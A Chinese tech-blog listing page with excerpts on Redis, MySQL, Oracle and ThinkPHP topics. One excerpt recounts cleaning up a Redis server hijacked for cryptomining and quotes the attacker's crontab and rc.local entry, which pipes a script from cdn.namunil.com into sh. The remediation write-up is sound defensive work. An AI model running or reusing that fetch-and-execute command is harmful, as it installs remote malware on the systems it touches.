作者文章

fwq

FWQ
服务器教程
Linux服务器Redis漏洞被利用挖矿解决方法
Linux服务器Redis漏洞被利用挖矿解决方法 0浏览 收藏 怎么入门数据库编程?需要学习哪些知识点?这是新手们刚接触编程时常见的问题;下面golang学习网就来给大家整理分享一些知识点,希望能够给初学者一些帮助。本篇文章就来介绍《Linux服务器Redis漏洞被利用挖矿解决方法》,涉及到服务器、Redis、Linux,有需要的可以收藏一下 由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:6379)的访问,阻断预计将在2018-03-28 07:34:26时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后。发现这个提醒了,基本上你的服务器已经成为挖矿肉鸡了。 最近上服务器,发现服务器redis的备份文件路径变了,一开始也没怎么在意,后来发现一些服务老是挂掉。我重启了次服务器,好像恢复正常了。过了一会,一些关键服务又自动挂了,我开始意识到我服务器可能被入侵变成肉鸡了。这个网址就是罪魁祸首,cdn.namunil.com,开机自启动从此网址自动下载脚本执行,太坑了,这家伙。 于是我看了下crontab,发现有个陌生的例行: 查看定时任务命令: 查看定时任务:vim  /etc/crontab 列出所有的定时任务:crontab -l 删除所有用户定时任务:crontab -r */20 * * * * curl -fsSL http://cdn.namunil.com/ash.php | sh  应该就是它在搞事,于是我把它删掉,重启服务器,惊奇地发现这个例行又出现了,明明已经被我删掉了,于是我看了下开机自动加载命令: cat /etc/rc.d/rc.local  发现如下内容: curl -fsSL http://cdn.namunil.com/ash.php | shexit()  于是我把它删掉,继续重启服务器,这次正常了。Linux服务器自启动文件路径:etc/rc.local 这个每个人的有细微差别,具体可以查看。 接着我继续排查其他被改动的问题,发现博客可以正常读取mysql数据,但是在Linxu直接命令行连接不上: [root@VM /root]# mysql -u root -p  mysql: relocation error: mysql: symbol strmov, version libmysqlclient_16 not defined in file libmysqlclient.so.16 with link time reference  参考这个链接解决了 http://blog.51cto.com/ovcer/1620051 接着发现phpmyadmin还是连接不上,账号密码确认没输错,但是就是登录不上气,也没报错,当时就一脸懵逼了,后来想上博客后台看下数据,发现验证码老时提示输入错误(明明没输错,认真脸)。…
2024-12-01 阅读全文 →
FWQ
网站开发
如何从 ibdata 和 frm 文件恢复 InnoDB MySQL 表数据?
如何从 ibdata 和 frm 文件恢复 InnoDB MySQL 表数据? IT行业相对于一般传统行业,发展更新速度更快,一旦停止了学习,很快就会被行业所淘汰。所以我们需要踏踏实实的不断学习,精进自己的技术,尤其是初学者。今天米云给大家整理了《如何从 ibdata 和 frm 文件恢复 InnoDB MySQL 表数据?》,聊聊,我们一起来看看吧! MySQL Server 使用两种类型的数据库存储引擎 – InnoDB 和 MyISAM。当使用InnoDB存储引擎时,MySQL服务器将数据和索引存储在.ibdata文件中,表模式存储在.frm文件中。如果 InnoDB 表损坏,您可以轻松地从 .ibdata 和 .frm…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis基本类型及其数据结构
Redis基本类型及其数据结构 0浏览 收藏 IT行业相对于一般传统行业,发展更新速度更快,一旦停止了学习,很快就会被行业所淘汰。所以我们需要踏踏实实的不断学习,精进自己的技术,尤其是初学者。今天golang学习网给大家整理了《Redis基本类型及其数据结构》,聊聊数据结构、对象、Redis,我们一起来看看吧! 以前在使用Redis的时候,只是简单地使用它提供的基本数据类型和接口,并没有深入研究它底层的数据结构。最近打算重新学习梳理一下Redis方面的知识,所以打算从介绍Redis的基本类型及其数据结构入手。 redisObject Redis的key是顶层模型,它的value是扁平化的。Redis中,所有的value都是一个object,它的结构如下: typedef struct redisObject {   unsigned [type] 4;   unsigned [encoding] 4;   unsigned [lru] REDIS_LRU_BITS;   int refcount;   void *ptr;  } robj;  简单介绍一下这几个字段: type:数据类型,就是我们熟悉的string、hash、list等。 encoding:内部编码,其实就是本文要介绍的数据结构。指的是当前这个value底层是用的什么数据结构。因为同一个数据类型底层也有多种数据结构的实现,所以这里需要指定数据结构。 REDIS_LRU_BITS:当前对象可以保留的时长。这个我们在后面讲键的过期策略的时候讲。 refcount:对象引用计数,用于GC。 ptr:指针,指向以encoding的方式实现这个对象的实际地址。 string 在Redis内部,string类型有两种底层储存结构。Redis会根据存储的数据及用户的操作指令自动选择合适的结构: int:存放整数类型; SDS:存放浮点、字符串、字节类型; SDS: 简单动态字符串 simple dynamic string  SDS SDS的内部数据结构: typedef struct sdshdr { …
2024-12-01 阅读全文 →
FWQ
服务器教程
多备份携手白帽汇构建Redis安全防护
多备份携手白帽汇构建Redis安全防护 0浏览 收藏 在数据库实战开发的过程中,我们经常会遇到一些这样那样的问题,然后要卡好半天,等问题解决了才发现原来一些细节知识点还是没有掌握好。今天golang学习网就整理分享《多备份携手白帽汇构建Redis安全防护》,聊聊多备份,希望可以帮助到正在努力赚钱的你。 背景 11月11日,北京白帽汇安全团队(nosec.org)宣布发现全网性的入侵事件,某不知名团体利用redis设计缺陷,针对国内互联网进行了大规模的 攻击,这次大规模的攻击事件主要针对Linux服务器,如果redis服务器使用root权限启动,并且没有配置认证等安全措施,就可能能够导致 redis数据丢失。目前,该事件已经导致中国互联网有至少超过10000台服务器被入侵,占比达到开放redis服务器的67%,也就是说每100台对 公网开放的服务器就有67台被扫描入侵过。 到目前为止,还无法明确的对此次入侵过程定义为漏洞入侵,因为redis官方网站并未对此提供补丁,至少目前为止看到利用的过程都是基于redis提供的正常功能。考虑到此次事件的影响,建议用户立即采取如下措施,防范事件的进一步扩大影响。 1.配置好Redis安全认证措施 2.禁用flushall、flushdb、keys等命令 3.因Redis不仅仅作为cache使用,更可以成为key-value存储使用,如果出现数据污染和丢失,误操作等情况,将是难以恢复的。建议引入备份解决方案,保障在遇到Redis被入侵或者异常故障时,能快速恢复Redis业务。 解决方案 基于对目前Redis可能面临的数据丢失风险,多备份(www.dbfen.com)作为一款支持Redis的企业级在线备份工具,可非常快捷便利的支持 redis数据库备份和恢复。将自动把redis最新的数据保存下来,并会自动把备份出来的数据加密后上传到多备份的聚合云灾备中心,同时运维人员可以选 择混合云模式,同时会自动在本地保存。 多备份Redis备份与恢复方案示意图 多备份本地备份版本可以在出现问题的时候,立即快速恢复,缩短恢复时间;如果当本地备份出现异常,还可以从多备份的聚合云端灾备中心进行灾难恢复。当企业 的redis服务器数据遭遇损毁时,可以通过多备份工具选择对应的恢复时间点,迅速恢复备份的数据到指定目录,然后重新启动redis服务即可恢复数据。 多备份整体备份和恢复的配置流程相当简单,基本不需要运维人员了解额外的东西。 如何接入多备份聚合云灾备? 用户接入多备份灾备服务体系非常简单,用户只需三个步骤即可开启Redis保护。 1、注册多备份账号 用户进入多备份官网(http://www.dbfen.com/)注册服务账号,登录控制台后,选择创建备份任务。如下图,输入Redis客户端名称,生成与服务账号绑定的Flash客户端。 2、安装多备份Flash客户端 在创建备份任务选项中,选择生成客户端,复制对应脚本至终端中执行,即可自动下载并安装Flash客户端。 至此,准备环境已经完成,这个时候回到多备份控制台,即可看到刚刚生成FLash客户端输入的设备名字已经在线。…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis作者和分布式大佬打架,谁赢了?
Redis作者和分布式大佬打架,谁赢了? 0浏览 收藏 本篇文章主要是结合我之前面试的各种经历和实战开发中遇到的问题解决经验整理的,希望这篇《Redis作者和分布式大佬打架,谁赢了?》对你有很大帮助!欢迎收藏,分享给更多的需要的朋友学习~ 背景铺垫 面试的时候,不管你的简历写没写 Redis,它基本上是一个绕不过的话题。 为了引出本文要讨论的关于 Redlock 的神仙打架的问题,我们就得先通过一个面试连环炮: 1.Redis 做分布式锁的时候有需要注意的问题? 2.如果是 Redis 是单点部署的,会带来什么问题? 3.那你准备怎么解决单点问题呢? 4.集群模式下,比如主从模式,有没有什么问题呢? 5.你知道 Redis 是怎么解决集群模式也不靠谱的问题的吗? 6.那你简单的介绍一下 Redlock 吧? 7.你觉得 Redlock 有什么问题呢? 很明显,上面是一个常规的面试连环套路题。中间还可以插入很多其他的 Redis…
2024-12-01 阅读全文 →
FWQ
网站开发
如何使用 SQL 查询获取文章及其前 5 条评论?
如何使用 SQL 查询获取文章及其前 5 条评论? 怎么入门数据库编程?需要学习哪些知识点?这是新手们刚接触编程时常见的问题;下面米云就来给大家整理分享一些知识点,希望能够给初学者一些帮助。本篇文章就来介绍《如何使用 SQL 查询获取文章及其前 5 条评论?》,涉及到,有需要的可以收藏一下 通过 sql 查询文章及其前 5 条评论 简介: 您需要查询所有文章及其关联的评论,但每篇文章最多显示前 5 条评论。传统的 left join 查询无法满足此限制。本文将提供一种 sql 解决方法,以提取所需的数据。 sql 查询: select tmp1.id,…
2024-12-01 阅读全文 →
FWQ
网站开发
ThinkPHP6 with() 关联查询结果如何扁平化为一维数组?
ThinkPHP6 with() 关联查询结果如何扁平化为一维数组? 欢迎各位小伙伴来到米云,相聚于此都是缘哈哈哈!今天我给大家带来,这篇文章主要讲到等等知识,如果你对相关的知识非常感兴趣或者正在自学,都可以关注我,我会持续更新相关文章!当然,有什么建议也欢迎在评论留言提出!一起学习! thinkphp6 模型 with() 扁平化二维数组 在 thinkphp6 中,使用 with() 方法可以关联多个表进行查询。不过,当查询结果是一个二维数组时,可能会遇到多个表字段别名冲突的问题。本文将介绍一种通过模型直接得到一维数组并解决别名冲突的方法。 解决方案:绑定属性到父模型 thinkphp6 提供了将关联模型属性绑定到父模型的方法,从而可以解决别名冲突问题。具体步骤如下: 在 hasone/hasmany/belongsto 方法中指定 binding 选项,将关联模型的属性绑定到父模型。 在关联模型中,将需要绑定的属性添加到 attributenames 中。 在查询中,使用 with 方法关联模型,并使用绑定属性进行查询。 示例代码:…
2024-12-01 阅读全文 →
FWQ
网站开发
Oracle存储过程批量更新的指南和要点
Oracle存储过程批量更新的指南和要点 编程并不是一个机械性的工作,而是需要有思考,有创新的工作,语法是固定的,但解决问题的思路则是依靠人的思维,这就需要我们坚持学习和更新自己的知识。今天米云就整理分享《Oracle存储过程批量更新的指南和要点》,文章讲解的知识点主要包括,如果你对数据库方面的知识点感兴趣,就不要错过米云,在这可以对大家的知识积累有所帮助,助力开发能力的提升。 标题:Oracle存储过程实现批量更新的步骤与注意事项 在Oracle数据库中,存储过程是一组为了提高数据库性能、重用代码、增强安全性的SQL语句集合,通过存储过程可以实现批量更新数据的操作。本文将介绍如何使用Oracle存储过程实现批量更新,并提供具体的代码示例。 步骤一:创建存储过程 首先,我们需要创建一个存储过程,用来实现批量更新的操作。以下是创建存储过程的示例代码: CREATE OR REPLACE PROCEDURE batch_update_data AS BEGIN -- 在此处编写批量更新数据的SQL语句 UPDATE table_name SET column1 = value1 WHERE condition; COMMIT; END; / 在上述代码中,table_name表示需要更新数据的表名,column1表示需要更新的列名,value1表示需要更新的数值,condition表示更新数据的条件。在COMMIT语句后会提交事务,确保更新操作已成功执行。 步骤二:执行存储过程…
2024-12-01 阅读全文 →
FWQ
网站开发
Oracle存储过程的批量更新:优势及应用
Oracle存储过程的批量更新:优势及应用 积累知识,胜过积蓄金银!毕竟在数据库开发的过程中,会遇到各种各样的问题,往往都是一些细节知识点还没有掌握好而导致的,因此基础知识点的积累是很重要的。下面本文《Oracle存储过程的批量更新:优势及应用》,就带大家讲解一下知识点,若是你对本文感兴趣,或者是想搞懂其中某个知识点,就请你继续往下看吧~ Oracle存储过程批量更新的优势与应用 在Oracle数据库中,存储过程是一种预先编译并存储在数据库中的可重复执行的程序单元。存储过程提供了一种有效的方法来组织和管理数据库操作,同时也可以提高数据库的性能和安全性。在实际的数据库应用中,存储过程经常用于处理复杂的业务逻辑、执行批量更新等操作。本文将介绍Oracle存储过程在批量更新方面的优势以及相应的应用场景,并提供具体的代码示例。 一、批量更新的优势 1.1 提高性能:通过存储过程进行批量更新可以减少与数据库的交互次数,降低了网络开销和数据库服务器的负载,从而提高了更新操作的性能。 1.2 减少资源消耗:批量更新可以减少事务处理的开销,减少了锁竞争和日志操作,减少了对数据库资源的消耗,提高了数据库的并发性能。 1.3 简化操作:通过存储过程可以将更新逻辑进行封装和重用,减少了重复代码的编写,简化了操作流程,提高了开发效率。 二、批量更新的应用 2.1 批量更新统计数据 假设某个表中存储了订单信息,每次订单发生变化时需要更新订单数量的统计数据。可以通过存储过程实现批量更新统计数据,提高性能并简化操作流程。 CREATE OR REPLACE PROCEDURE update_order_stats IS BEGIN UPDATE order_stats os SET os.total_orders =…
2024-12-01 阅读全文 →
FWQ
服务器教程
如何使用Redis和Lua开发简单的评分系统功能
如何使用Redis和Lua开发简单的评分系统功能 收藏 最近发现不少小伙伴都对数据库很感兴趣,所以今天继续给大家介绍数据库相关的知识,本文《如何使用Redis和Lua开发简单的评分系统功能》主要内容涉及到等等知识点,希望能帮到你!当然如果阅读本文时存在不同想法,可以在评论中表达,但是请勿使用过激的措辞~ 如何使用Redis和Lua开发简单的评分系统功能 在开发应用程序中,评分系统功能是一个常见的需求。使用Redis和Lua结合,可以快速实现一个简单而高效的评分系统。Redis是一种高性能的键值对数据库,而Lua是一种轻量级脚本语言,可以嵌入到Redis中执行。 评分系统功能的实现涉及以下几个方面: 用户投票:用户可以对特定的实体(如文章、视频、商品等)进行投票,可以选择赞成或反对。 计算分数:根据用户投票的结果,需要计算出一个综合的分数来衡量实体的好坏。 排序:根据分数进行排序,将实体按照用户的喜好和热度进行展示。 以下是一个使用Redis和Lua开发的简单评分系统的代码示例: 用户投票 -- 参数说明: -- entityId: 实体的唯一标识 -- userId: 用户的唯一标识 -- voteType: 投票类型,1表示赞成,-1表示反对 function vote(entityId, userId, voteType) -- 检查用户是否已经投过票,如果是则取消之前的投票…
2024-12-01 阅读全文 →